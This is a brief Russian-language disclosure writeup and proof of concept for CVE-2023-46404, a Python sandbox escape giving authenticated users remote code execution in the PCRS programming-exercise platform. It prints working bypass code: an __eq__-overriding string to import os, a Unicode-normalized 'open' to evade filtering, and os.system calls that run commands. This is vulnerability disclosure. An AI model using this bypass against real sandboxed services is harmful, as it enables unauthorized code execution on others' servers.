
PoC and Writeup for CVE-2023-46404.
PCRS — это веб-приложение для онлайн-упражнений по программированию, разработанное в Университете Торонто. См. репозиторий Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/
Страница "Questions" PCRS с отправкой кода и страница "Code editor" уязвимы для удаленного выполнения кода (RCE) из-за обхода песочницы Python.
Удаленное выполнение кода может быть достигнуто в экземплярах PCRS с использованием объектов-генераторов. Используя фреймы генераторов (gi_frame) и f_back, скрипты могут выйти за пределы изолированного стека и выполнить вредоносный код в среде без изоляции. Кроме того, нормализация Unicode легко обходит базовую санитаризацию ввода. Любой аутентифицированный пользователь с минимальными привилегиями может выполнить эту атаку. См. PoC для более подробной информации.
Создание безопасных механизмов изоляции с нуля чревато недочетами и уязвимостями. Как всегда, лучше изолировать среду выполнения, чем язык.
Переопределение __eq__ может быть использовано в ограниченной среде:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s